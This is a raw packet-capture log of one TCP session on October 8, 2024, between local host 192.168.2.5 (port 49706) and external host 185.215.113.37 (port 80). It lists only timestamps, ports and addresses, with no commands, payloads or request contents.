Oct 8, 2024 11:18:22.248529911 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248529911 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248537064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248547077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248558044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248574972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248574972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248590946 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248594046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248605967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248615980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248626947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248636007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248641968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248646975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248651028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248657942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248667955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248677969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248687983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248688936 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248688936 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248699903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248733997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248743057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248743057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248744011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248754978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248773098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248784065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248790979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248790979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248792887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248804092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248815060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248825073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248831987 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248835087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248847961 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248859882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248859882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248863935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248874903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248874903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248888016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248903036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248914957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248923063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248923063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248924017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248939037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248950005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248951912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248961926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248972893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248992920 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248992920 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.249017000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.249020100 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.249028921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.249038935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.249048948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.249058008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.249068022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.249072075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.249078989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.249092102 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.249116898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.249116898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.260374069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260402918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260445118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.260445118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.260485888 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260596991 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.260600090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260612011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260622025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260632992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260648966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260659933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260668039 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.260672092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260683060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260688066 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.260694981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260704994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260716915 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.260716915 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.260721922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260734081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260744095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260756016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260765076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.260765076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.260766983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260782003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260787964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260793924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260869980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260871887 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.260881901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260886908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260891914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260902882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260907888 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260910988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.260915041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260941982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260948896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.260982990 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.261004925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.261039972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261049986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261065006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261073112 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261079073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261084080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261097908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.261156082 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.261156082 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.261164904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261177063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261187077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261203051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261214018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261221886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261224031 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.261234045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261244059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261260986 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.261260986 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.261277914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261281013 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.261291027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.261321068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.261321068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.261332035 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.312741041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.312752962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.312763929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.312797070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.312839031 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.312861919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.312866926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.312875032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.312886953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.312922001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.312922001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.312968969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.312979937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.312989950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.312994957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313000917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313009977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313021898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313067913 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313067913 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313100100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313214064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313224077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313235044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313245058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313250065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313250065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313256025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313266993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313272953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313282967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313292980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313308954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313319921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313323021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313323021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313329935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313339949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313349962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313366890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313393116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313393116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313796997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313855886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313857079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313868999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313879013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313889027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313919067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313919067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313971043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313982964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.313987017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.313993931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314004898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314014912 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314023972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314024925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314023972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314037085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314053059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314079046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314079046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314115047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314126015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314136028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314146042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314156055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314158916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314158916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314167023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314177036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314187050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314197063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314205885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314207077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314205885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314218998 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314232111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314246893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314249992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314249992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314265013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314270973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314276934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314291954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314301968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314311981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314321041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314321995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314321995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314331055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314338923 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314342976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314356089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314367056 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314378977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314412117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.314930916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314943075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.314953089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.315018892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.315031052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.315038919 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.315042019 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.315053940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.315089941 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.315089941 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353092909 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353104115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353112936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353122950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353132963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353137970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353147030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353162050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353173018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353182077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353193045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353255033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353264093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353274107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353295088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353295088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353295088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353295088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353332043 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353347063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353358030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353363037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353367090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353375912 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353383064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353391886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353400946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353410959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353435040 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353435040 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353488922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353499889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353513956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353518963 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353523016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353534937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353540897 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353545904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353555918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353596926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353605032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353605032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353636980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353640079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353651047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353661060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353698969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353698969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353729963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353739977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353750944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353760004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353770018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353780985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353790045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353795052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353795052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353833914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353833914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353873014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353883982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353893042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353934050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353934050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.353977919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353988886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.353997946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.354012966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.354049921 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.354049921 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.355408907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.405580044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405592918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405603886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405639887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405651093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405661106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405700922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405710936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405710936 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.405710936 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.405723095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405735970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405750990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405760050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405770063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405775070 CEST	49706	80	192.168.2.5	185.215.113.37
